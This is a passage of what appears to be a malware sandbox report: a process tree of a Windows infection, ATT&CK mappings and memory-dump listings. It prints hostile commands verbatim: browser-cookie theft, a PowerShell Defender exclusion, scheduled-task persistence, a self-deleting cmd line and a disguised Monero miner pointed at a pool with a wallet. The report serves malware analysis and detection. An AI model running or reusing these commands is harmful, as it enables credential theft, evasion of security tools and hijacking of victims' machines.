        C:\Windows\SysWOW64\WerFault.exe -u -p 980 -s 1356
        7⤵
        Program crash
        
        PID:5832
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 980 -s 1432
        7⤵
        Program crash
        
        PID:5084
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 980 -s 1532
        7⤵
        Program crash
        
        PID:4924
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 980 -s 1648
        7⤵
        Program crash
        
        PID:6344
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 980 -s 1696
        7⤵
        Program crash
        
        PID:6472
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 980 -s 1276
        7⤵
        Program crash
        
        PID:6792
      - C:\Users\Admin\Documents\t8xTx3eBrnzBCEX_lmZykhdE.exe
        
        "C:\Users\Admin\Documents\t8xTx3eBrnzBCEX_lmZykhdE.exe"
        6⤵
        Executes dropped EXE
        
        PID:4524
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        7⤵
        
        PID:4160
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        7⤵
        
        PID:5204
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        7⤵
        
        PID:6692
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        7⤵
        
        PID:796
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 4524 -s 1516
        7⤵
        Program crash
        
        PID:7156
      - C:\Users\Admin\Documents\odUNIeNVdYQkM1S9LSm8kqMk.exe
        
        "C:\Users\Admin\Documents\odUNIeNVdYQkM1S9LSm8kqMk.exe"
        6⤵
        
        PID:4148
        
        C:\Users\Admin\Documents\odUNIeNVdYQkM1S9LSm8kqMk.exe
        
        "C:\Users\Admin\Documents\odUNIeNVdYQkM1S9LSm8kqMk.exe"
        7⤵
        
        PID:5592
      - C:\Users\Admin\Documents\I96eGImt6bmJi2Vmsl8mTGf8.exe
        
        "C:\Users\Admin\Documents\I96eGImt6bmJi2Vmsl8mTGf8.exe"
        6⤵
        
        PID:4100
      - C:\Users\Admin\Documents\88uhqBkGKLjD3jt9PLraE6yf.exe
        
        "C:\Users\Admin\Documents\88uhqBkGKLjD3jt9PLraE6yf.exe"
        6⤵
        
        PID:5616
      - C:\Users\Admin\Documents\YqukK6uw3OIfb9PvPKrbxzI3.exe
        
        "C:\Users\Admin\Documents\YqukK6uw3OIfb9PvPKrbxzI3.exe"
        6⤵
        
        PID:5988
        
        C:\Users\Admin\Documents\YqukK6uw3OIfb9PvPKrbxzI3.exe
        
        "C:\Users\Admin\Documents\YqukK6uw3OIfb9PvPKrbxzI3.exe"
        7⤵
        
        PID:6032
      - C:\Users\Admin\Documents\2YXPIGOauu2V6Lf5kVeKGwcL.exe
        
        "C:\Users\Admin\Documents\2YXPIGOauu2V6Lf5kVeKGwcL.exe"
        6⤵
        
        PID:5776
      - C:\Users\Admin\Documents\KRHYTZJB63gk8rLOpvGL1n9m.exe
        
        "C:\Users\Admin\Documents\KRHYTZJB63gk8rLOpvGL1n9m.exe"
        6⤵
        
        PID:5692
        
        C:\Program Files (x86)\Company\NewProduct\customer3.exe
        
        "C:\Program Files (x86)\Company\NewProduct\customer3.exe"
        7⤵
        
        PID:2284
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        8⤵
        
        PID:6200
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /DeleteCookiesWildcard "*.facebook.com"
        8⤵
        
        PID:6240
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        8⤵
        
        PID:6400
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /DeleteCookiesWildcard "*.facebook.com"
        8⤵
        
        PID:6456
        
        C:\Users\Admin\AppData\Local\Temp\22222.exe
        
        C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        8⤵
        
        PID:6852
        
        C:\Users\Admin\AppData\Local\Temp\22222.exe
        
        C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /DeleteCookiesWildcard "*.facebook.com"
        8⤵
        
        PID:4052
        
        C:\Users\Admin\AppData\Local\Temp\22222.exe
        
        C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        8⤵
        
        PID:3460
        
        C:\Users\Admin\AppData\Local\Temp\22222.exe
        
        C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /DeleteCookiesWildcard "*.facebook.com"
        8⤵
        
        PID:6748
        
        C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
        
        "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
        7⤵
        
        PID:4772
        
        C:\Program Files (x86)\Company\NewProduct\jooyu.exe
        
        "C:\Program Files (x86)\Company\NewProduct\jooyu.exe"
        7⤵
        
        PID:4348
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        8⤵
        
        PID:5072
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        8⤵
        
        PID:6620
      - C:\Users\Admin\Documents\PUx4XI5OtjJN0cqcbNoGLmet.exe
        
        "C:\Users\Admin\Documents\PUx4XI5OtjJN0cqcbNoGLmet.exe"
        6⤵
        
        PID:5656
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im PUx4XI5OtjJN0cqcbNoGLmet.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\PUx4XI5OtjJN0cqcbNoGLmet.exe" & del C:\ProgramData\*.dll & exit
        7⤵
        
        PID:6520
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im PUx4XI5OtjJN0cqcbNoGLmet.exe /f
        8⤵
        Kills process with taskkill
        
        PID:6640
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        8⤵
        Delays execution with timeout.exe
        
        PID:6404
      - C:\Users\Admin\Documents\LHx_26SdIEZBvBwq2Ux_8ONv.exe
        
        "C:\Users\Admin\Documents\LHx_26SdIEZBvBwq2Ux_8ONv.exe"
        6⤵
        
        PID:4332
        
        C:\Users\Admin\Documents\LHx_26SdIEZBvBwq2Ux_8ONv.exe
        
        "C:\Users\Admin\Documents\LHx_26SdIEZBvBwq2Ux_8ONv.exe"
        7⤵
        
        PID:5868
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe"
        8⤵
        
        PID:2312
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe"
        9⤵
        
        PID:4116
      - C:\Users\Admin\Documents\sJA8tbt9fExdMNMuJaxVEEm_.exe
        
        "C:\Users\Admin\Documents\sJA8tbt9fExdMNMuJaxVEEm_.exe"
        6⤵
        
        PID:3216
      - C:\Users\Admin\Documents\83Qt88DTatAHs_EDpO3LQK9k.exe
        
        "C:\Users\Admin\Documents\83Qt88DTatAHs_EDpO3LQK9k.exe"
        6⤵
        
        PID:4516
      - C:\Users\Admin\Documents\Do_iNUeO54TXmHDtuqB1spOO.exe
        
        "C:\Users\Admin\Documents\Do_iNUeO54TXmHDtuqB1spOO.exe"
        6⤵
        
        PID:4324
        
        C:\Users\Admin\AppData\Local\Temp\is-D97CK.tmp\Do_iNUeO54TXmHDtuqB1spOO.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-D97CK.tmp\Do_iNUeO54TXmHDtuqB1spOO.tmp" /SL5="$400C8,138429,56832,C:\Users\Admin\Documents\Do_iNUeO54TXmHDtuqB1spOO.exe"
        7⤵
        
        PID:5224
        
        C:\Users\Admin\AppData\Local\Temp\is-NKJFC.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-NKJFC.tmp\Setup.exe" /Verysilent
        8⤵
        
        PID:6736
        
        C:\Program Files (x86)\GameBox INC\GameBox\Weather Installation.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\Weather Installation.exe" /quiet SILENT=1 AF=715 BF=715
        9⤵
        
        PID:3084
        
        C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SID=717 CID=717 SILENT=1 /quiet
        9⤵
        
        PID:4852
        
        C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin32.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin32.exe"
        9⤵
        
        PID:2444
        
        C:\Program Files (x86)\GameBox INC\GameBox\note8876.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\note8876.exe"
        9⤵
        
        PID:5312
        
        C:\Program Files (x86)\GameBox INC\GameBox\BotCheck.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\BotCheck.exe"
        9⤵
        
        PID:4140
        
        C:\Program Files (x86)\GameBox INC\GameBox\BotCheck.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\BotCheck.exe" -a
        10⤵
        
        PID:4256
        
        C:\Program Files (x86)\GameBox INC\GameBox\GameBox32Bit.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\GameBox32Bit.exe"
        9⤵
        
        PID:5340
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        10⤵
        
        PID:4324
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        10⤵
        
        PID:7328
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        10⤵
        
        PID:7860
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        10⤵
        
        PID:8160
        
        C:\Program Files (x86)\GameBox INC\GameBox\GameBox.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\GameBox.exe"
        9⤵
        
        PID:6024
        
        C:\Users\Admin\AppData\Roaming\2746192.exe
        
        "C:\Users\Admin\AppData\Roaming\2746192.exe"
        10⤵
        
        PID:6236
        
        C:\Users\Admin\AppData\Roaming\2301066.exe
        
        "C:\Users\Admin\AppData\Roaming\2301066.exe"
        10⤵
        
        PID:5448
        
        C:\Users\Admin\AppData\Roaming\4586601.exe
        
        "C:\Users\Admin\AppData\Roaming\4586601.exe"
        10⤵
        
        PID:5148
        
        C:\Users\Admin\AppData\Roaming\1158298.exe
        
        "C:\Users\Admin\AppData\Roaming\1158298.exe"
        10⤵
        
        PID:5380
        
        C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" /qn CAMPAIGN="710"
        9⤵
        
        PID:5256
        
        C:\Program Files (x86)\GameBox INC\GameBox\GameBox64bit.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\GameBox64bit.exe"
        9⤵
        
        PID:4100
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c c0f099be1ace2.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1504
    - - C:\Users\Admin\AppData\Local\Temp\7zS8C9B7474\c0f099be1ace2.exe
        
        c0f099be1ace2.exe
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:404
      - C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        6⤵
        Executes dropped EXE
        Drops file in Windows directory
        
        PID:4456
        
        C:\Windows\winnetdriv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe" 1628841230 0
        7⤵
        Executes dropped EXE
        
        PID:4596
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c 621c13b77.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:776
    - - C:\Users\Admin\AppData\Local\Temp\7zS8C9B7474\621c13b77.exe
        
        621c13b77.exe
        5⤵
        Executes dropped EXE
        
        PID:2716
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im 621c13b77.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS8C9B7474\621c13b77.exe" & del C:\ProgramData\*.dll & exit
        6⤵
        
        PID:6352
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im 621c13b77.exe /f
        7⤵
        Kills process with taskkill
        
        PID:6704
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        7⤵
        Delays execution with timeout.exe
        
        PID:6516
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c 3d1f9c2a6.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1292
    - - C:\Users\Admin\AppData\Local\Temp\7zS8C9B7474\3d1f9c2a6.exe
        
        3d1f9c2a6.exe
        5⤵
        Executes dropped EXE
        
        PID:3820
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c 09b9624c6ac9.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:752
    - - C:\Users\Admin\AppData\Local\Temp\7zS8C9B7474\09b9624c6ac9.exe
        
        09b9624c6ac9.exe
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3932
      - C:\Users\Admin\AppData\Local\Temp\7zS8C9B7474\09b9624c6ac9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zS8C9B7474\09b9624c6ac9.exe" -a
        6⤵
        
        PID:4184
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c e4f0738cc5646a38.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3908

C:\Users\Admin\AppData\Local\Temp\7zS8C9B7474\e4f0738cc5646a38.exe
e4f0738cc5646a38.exe
1⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3944
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1cr.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1cr.exe
  2⤵
  - Executes dropped EXE
  PID:4168
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1cr.exe
    "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1cr.exe"
    3⤵
    PID:5344
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1cr.exe"
    3⤵
    PID:6688
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\BUILD1~1.EXE
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\BUILD1~1.EXE
  2⤵
  PID:5132
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7zS2556.tmp\Install.cmd" "
    3⤵
    PID:6752

C:\Users\Admin\AppData\Local\Temp\chrome2.exe
"C:\Users\Admin\AppData\Local\Temp\chrome2.exe"
1⤵
- Executes dropped EXE
PID:4376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
  2⤵
  PID:1240
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
    3⤵
    - Creates scheduled task(s)
    PID:4268
- C:\Users\Admin\AppData\Roaming\services64.exe
  "C:\Users\Admin\AppData\Roaming\services64.exe"
  2⤵
  PID:2672
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
    3⤵
    PID:6020
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
      4⤵
      Creates scheduled task(s)
      PID:7160
- - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
    3⤵
    PID:6772
- - C:\Windows\explorer.exe
    C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
    3⤵
    PID:6336

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:4896
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:4944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:4572

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2396 -s 504
1⤵
- Program crash
PID:5372

C:\Users\Admin\Documents\83Qt88DTatAHs_EDpO3LQK9k.exe
C:\Users\Admin\Documents\83Qt88DTatAHs_EDpO3LQK9k.exe
1⤵
PID:5760

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:2396

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:6732
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:6748

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
PID:5352

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:4904

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:7212

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:7672

C:\Users\Admin\AppData\Local\Temp\7069.exe
C:\Users\Admin\AppData\Local\Temp\7069.exe
1⤵
PID:7696

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/404-176-0x00000000008C0000-0x00000000008C1000-memory.dmp

Download

memory/912-427-0x000001E4B4B10000-0x000001E4B4B84000-memory.dmp

Download

memory/980-376-0x0000000000400000-0x0000000002CBE000-memory.dmp

Download

memory/980-422-0x0000000004900000-0x000000000499D000-memory.dmp

Download

memory/1012-417-0x000001E6DB280000-0x000001E6DB2F4000-memory.dmp

Download

memory/1100-373-0x00000258DF030000-0x00000258DF0A4000-memory.dmp

Download

memory/1212-198-0x000000001B4C0000-0x000000001B4C2000-memory.dmp

Download

memory/1212-182-0x0000000000F90000-0x0000000000F91000-memory.dmp

Download

memory/1212-185-0x0000000000FA0000-0x0000000000FBB000-memory.dmp

Download

memory/1212-191-0x0000000000FC0000-0x0000000000FC1000-memory.dmp

Download

memory/1212-173-0x0000000000860000-0x0000000000861000-memory.dmp

Download

memory/1216-284-0x00000000002A0000-0x00000000002A1000-memory.dmp

Download

memory/1216-289-0x0000000004C30000-0x0000000004C31000-memory.dmp

Download

memory/1220-180-0x0000000001250000-0x0000000001252000-memory.dmp

Download

memory/1220-164-0x0000000000BD0000-0x0000000000BD1000-memory.dmp

Download

memory/1316-406-0x000001F058470000-0x000001F0584E4000-memory.dmp

Download

memory/1348-411-0x0000022EED100000-0x0000022EED174000-memory.dmp

Download

memory/1448-389-0x000001A710610000-0x000001A710684000-memory.dmp

Download

memory/1856-283-0x0000000000F90000-0x0000000000F91000-memory.dmp

Download

memory/1856-290-0x000000001B7B0000-0x000000001B7B2000-memory.dmp

Download

memory/1856-286-0x0000000001270000-0x000000000128B000-memory.dmp

Download

memory/1856-276-0x0000000000B40000-0x0000000000B41000-memory.dmp

Download

memory/1856-288-0x0000000001290000-0x0000000001291000-memory.dmp

Download

memory/1872-428-0x0000023E97740000-0x0000023E977B4000-memory.dmp

Download

memory/2372-382-0x000001A3B4F60000-0x000001A3B4FD4000-memory.dmp

Download

memory/2388-309-0x000001C1AE1C0000-0x000001C1AE35B000-memory.dmp

Download

memory/2388-304-0x000001C1ADF40000-0x000001C1AE017000-memory.dmp

Download

memory/2396-351-0x000001BAA0770000-0x000001BAA07E4000-memory.dmp

Download

memory/2424-425-0x0000018CA3F40000-0x0000018CA3FB4000-memory.dmp

Download

memory/2560-326-0x000001B274C80000-0x000001B274CF4000-memory.dmp

Download

memory/2604-277-0x0000000001290000-0x0000000001292000-memory.dmp

Download

memory/2604-259-0x0000000000C70000-0x0000000000C71000-memory.dmp

Download

memory/2680-418-0x0000023A60240000-0x0000023A602B4000-memory.dmp

Download

memory/2700-316-0x00000000001D0000-0x00000000001FE000-memory.dmp

Download

memory/2700-339-0x0000000000400000-0x0000000002C7F000-memory.dmp

Download

memory/2708-426-0x0000020ED6B70000-0x0000020ED6BE4000-memory.dmp

Download

memory/2716-305-0x0000000000400000-0x0000000003346000-memory.dmp

Download

memory/2716-293-0x0000000005000000-0x000000000509D000-memory.dmp

Download

memory/2912-137-0x0000000064940000-0x0000000064959000-memory.dmp

Download

memory/2912-132-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Download

memory/2912-134-0x0000000064940000-0x0000000064959000-memory.dmp

Download

memory/2912-131-0x000000006B440000-0x000000006B4CF000-memory.dmp

Download

memory/2912-133-0x000000006B280000-0x000000006B2A6000-memory.dmp

Download

memory/2912-135-0x0000000064940000-0x0000000064959000-memory.dmp

Download

memory/2912-139-0x0000000064940000-0x0000000064959000-memory.dmp

Download

memory/3020-460-0x0000000003000000-0x0000000003016000-memory.dmp

Download

memory/3020-415-0x0000000001370000-0x0000000001386000-memory.dmp

Download

memory/3216-343-0x000000001AF70000-0x000000001AF72000-memory.dmp

Download

memory/3668-301-0x0000023420830000-0x000002342087D000-memory.dmp

Download

memory/3668-319-0x00000234208F0000-0x0000023420964000-memory.dmp

Download

memory/3776-337-0x000000001B9F0000-0x000000001B9F2000-memory.dmp

Download

memory/3820-294-0x00000000001E0000-0x00000000001E9000-memory.dmp

Download

memory/3820-322-0x0000000000400000-0x00000000032F3000-memory.dmp

Download

memory/4100-394-0x0000000000400000-0x0000000002C62000-memory.dmp

Download

memory/4100-370-0x0000000002C70000-0x0000000002D1E000-memory.dmp

Download

memory/4144-330-0x000001B1BFDB0000-0x000001B1BFE1F000-memory.dmp

Download

memory/4144-354-0x000001B1BFE20000-0x000001B1BFEEF000-memory.dmp

Download

memory/4148-380-0x0000000002C70000-0x0000000002DBA000-memory.dmp

Download

memory/4168-189-0x00000000001C0000-0x00000000001C1000-memory.dmp

Download

memory/4168-212-0x00000000027A0000-0x0000000002832000-memory.dmp

Download

memory/4168-193-0x00000000050E0000-0x00000000050E1000-memory.dmp

Download

memory/4168-207-0x0000000004E60000-0x0000000004E61000-memory.dmp

Download

memory/4168-205-0x00000000027D0000-0x00000000027D1000-memory.dmp

Download

memory/4168-195-0x0000000004BE0000-0x0000000004BE1000-memory.dmp

Download

memory/4332-365-0x0000000005350000-0x000000000584E000-memory.dmp

Download

memory/4376-385-0x00000000014B0000-0x00000000014B2000-memory.dmp

Download

memory/4376-199-0x0000000000AD0000-0x0000000000AD1000-memory.dmp

Download

memory/4456-204-0x0000000000B60000-0x0000000000C44000-memory.dmp

Download

memory/4516-379-0x0000000004EE0000-0x0000000004EE1000-memory.dmp

Download

memory/4524-215-0x0000000000F70000-0x0000000000F71000-memory.dmp

Download

memory/4572-408-0x000002802ADD0000-0x000002802AE44000-memory.dmp

Download

memory/4596-221-0x0000000001180000-0x0000000001264000-memory.dmp

Download

memory/4612-261-0x000000001B260000-0x000000001B262000-memory.dmp

Download

memory/4612-242-0x0000000000AB0000-0x0000000000ADB000-memory.dmp

Download

memory/4612-230-0x0000000000580000-0x0000000000581000-memory.dmp

Download

memory/4648-236-0x0000000000CC0000-0x0000000000CC1000-memory.dmp

Download

memory/4648-249-0x0000000005400000-0x0000000005407000-memory.dmp

Download

memory/4656-400-0x0000000005AD0000-0x0000000005AD1000-memory.dmp

Download

memory/4656-358-0x0000000077D70000-0x0000000077EFE000-memory.dmp

Download

memory/4692-271-0x0000000008160000-0x0000000008161000-memory.dmp

Download

memory/4692-251-0x0000000000DF0000-0x0000000000DF1000-memory.dmp

Download

memory/4692-291-0x0000000007E00000-0x0000000007E01000-memory.dmp

Download

memory/4692-274-0x0000000007C10000-0x0000000007C11000-memory.dmp

Download

memory/4692-273-0x0000000007BB0000-0x0000000007BB1000-memory.dmp

Download

memory/4692-287-0x0000000005600000-0x0000000005601000-memory.dmp

Download

memory/4692-282-0x0000000007C50000-0x0000000007C51000-memory.dmp

Download

memory/4692-267-0x0000000007AA0000-0x0000000007AD2000-memory.dmp

Download

memory/4712-307-0x0000000000510000-0x0000000000511000-memory.dmp

Download

memory/4712-410-0x000000001B0B0000-0x000000001B0B2000-memory.dmp

Download

memory/4776-264-0x0000000000980000-0x00000000009AA000-memory.dmp

Download

memory/4776-260-0x00000000049A0000-0x00000000049A1000-memory.dmp

Download

memory/4776-241-0x0000000000010000-0x0000000000011000-memory.dmp

Download

memory/4916-362-0x00000000026F0000-0x00000000026F2000-memory.dmp

Download

